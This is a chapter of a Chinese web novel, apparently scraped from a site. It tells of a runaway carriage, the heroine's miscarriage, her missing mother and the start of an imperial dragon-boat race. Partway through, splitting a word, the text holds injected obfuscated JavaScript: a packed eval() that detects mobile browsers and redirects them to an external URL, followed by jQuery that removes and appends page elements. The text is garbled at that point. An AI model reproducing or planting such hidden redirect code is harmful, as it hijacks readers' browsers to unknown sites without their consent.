“丁香?她怎么昏迷不醒?”夏宜宣惊呼。
“大公子,小的在府门外等着,看到马车回来,可是却没有车夫,马是自己回来的。小的上车就看到丁香头发散乱歪在马车里,头上撞了好几个包。”
卓津见此情景,就知道出事了,立刻把人抱进来。
这可是他看准的媳妇人选,他心疼得滴血。
“快,快把她弄醒。”夏宜宣叫道。
卓津把人放到软榻上,用力摇晃几下,可是没醒。
“掐人中。”夏宜宣气急败坏。
卓津只得狠心掐丁香的人中。
直到快掐出血,丁香才幽幽转醒。
“啊!”刚一醒来,丁香就发出一声尖叫。
马车狂奔带给她的恐惧犹在。
“丁香,不用怕,快说,发生什么事了?”卓津安抚道。
丁香听到熟悉的声音才回过神来。
眼睛在屋里几人身上扫过,才确认自己真的安全了。
“姑爷,马疯了,奴婢与夫人在马车里根本控制不住身体,奴婢被撞晕了,后面的事不知道。”丁香想到之前的经历,心有余悸。
“什么?”江宁听到这个结果,再也躺不住,就要起身。
“卓津,车里只有丁香?”谢正阳阴沉着脸问道。
“回大公子,只有丁香。”卓津立即回答。
“宁儿,我这就派人去找。卓津,你再去请个大夫来给宁儿看诊。”谢正阳急匆匆出了门。
他是巡城司使,出门不受宵禁影响,安排自己的下属找人。
最先找到车夫。
他被甩下车时,正好撞在一个石阶上,当场晕过去,等他醒来时,发现自己躺在地上,摸着起了大包的头准备回府时,正好遇到巡城司的人,在他的指引下知道了马车跑去的方向。
可是老马识途,又自己回了谢府。
这就加大了寻找的难度。
直到天光大亮也没找到人。
谢家另请的大夫诊脉后,摇了摇头。
“大夫,怎么样?”夏宜宣还抱着一丝希望。
“伯夫人,少夫人这是小产了。短短时间小产了两次,对她的身子伤害实在有些大,老夫只能先给她止血,好好调养一段时间。只是以后......”老大夫顿住,不忍说出残忍的话来。
“以后怎么了?”夏宜宣看着大夫的犹豫,那点希望渐渐熄灭。
“以后恐怕再难有子嗣。”老大夫还是说把对女子来说最残忍的话说了出来。
“什,什么?”夏宜宣身子一晃。
不能生了?
那不就成废物了?
江宁听了老大夫的话,虽也惊慌,但并不绝望,她母亲的医术比这老大夫好得多,只要母亲来了,定能调养好她的身体。
然而直到天都大亮了,也没等来她的母亲。
谢正阳自出去就没回来过。
说明几个时辰过去也没找到她母亲。
江宁的心开始不安起来。
直到上午巳时,谢正阳才回来。
“正阳,找到了我母亲了吗?”江宁焦急问道。
“宁儿,还没找到。”谢正阳很沮丧,所有的街道都找了一遍也没找到人。
他还让人把所有的医馆都看了一遍,也没有受伤被好心人送去的人。
真是奇怪。
“呜呜......”江宁一听这么久都没找到,伤心哭泣起来,“她能去哪里?难道遇到**了吗?”
“京城哪里来的**?”
“正阳,有没有可能被某家红楼给带走了?”江宁想到一种可能。
母亲虽已三十多岁,但保养得当,说她二十几岁也不为过。
要是真被劫去了那种地方,母亲还怎么活。
江宁把自己的这个想法一说,谢正阳立刻又出了谢府。
红楼都是晚上营业,如果岳母被甩下车时,正好在柳街附近,还真有可能落入烟花之地。
想到那个后果,谢正阳惊出一身冷汗,出门的脚步走得更快了。
今日是端午节,江宁还有一个更重要的事要做,为了自己的前程,哪怕刚小产过后,她也要强撑着出席。
怀孕只有两个月,只是出了点血,喝了药,出血控制住,没有刚开始那么严重了。
江宁让丫鬟给她画了浓浓的妆,跟在夏宜宣身后,去往东江边。
乾德帝很注重每个节日的热闹气氛。
每年端午都会鼓励京城各世家,商家或者书院等组队报名进行龙舟赛。
京兆尹梁启明是整个比赛的组织者。
他早早就让人在最佳位置准备了一个大大的看台。
比赛结束后就去大公主的落梅庄用饭,相当于端午宫宴。
霍鸣昶一大早就去了国
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788746|190553||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子监。
国子监也组队报名了,而他就是队长,且还是鼓手。
霍凝玉一家在霍鹏程的带领下来到东江边,被安排上了看台。
看台由低到高,大约有一丈,圣上的位置自然是在最顶上。
霍家的位置也不错,倒数第三个台阶。
有了高台,视野开阔。
他们刚到,圣上的銮驾就到了,所有人跪拜行礼迎接。
“众爱卿平身,今日佳节,不必拘礼,都欢欢喜喜看比赛。”乾德帝最喜这种热闹。
看到江面上已经有无数龙舟在起点蓄势待发,乾德帝脸上的笑越发和蔼可亲。
金鼓齐鸣声中,乾德帝坐上高台,朱红华盖之下,目光如炬扫视江面。
“梁爱卿,今年有多少队报名?”乾德帝感觉比去年多。
“回皇上,有五十支队。”
“这么多?朕记得去年是四十一支队。”
“皇上没记错,今年来了几支京畿县的队伍,想与京城的男儿比个高下。他们也想沾沾皇上的龙气。看中了皇上准备的赏赐。”梁启明恭敬回道。
能得皇上的赏,那是何等的荣耀,赏赐带回去,郑重些的都要贡到祠堂里。
“哈哈......,好,如果他们能得名次,朕的赏赐不会少了他们的。”
五十艘龙舟,一字排开,声势浩大,旌旗招展。
梁大人选的位置正好够宽,且水流缓慢。正适合用于比赛。
时辰到,皇帝抬手示意鼓乐暂歇,声若洪钟。
"江波浩荡,恰似天下英才竞发,尔等健儿劈波斩浪,非独较力,实乃展我南楚儿郎之锐气。
今龙舟竞渡,亦非争胜,乃彰我南楚同舟共济之志。
今日赛舟,胜负在其次,贵在众志成城。犹记几年前西凉犯我边境,若非军民同心,何来今日安澜?
此等精神,当铭刻于龙舟之首,永世传承!”
“我等定不负皇上所望。”五十艘龙舟上的男儿们齐声高喊。
霍凝玉在五十艘龙舟上寻找霍鸣昶的身影,可是怎么也看不到。
“大哥,二弟他们那队在哪儿啊?”霍凝玉只得问身边的大哥。
“他们在最边上,江的对面。”霍鸣羡其实也没看到,太远,看不清。
“啊?为什么把他们安排在最边上啊?”霍凝玉不解。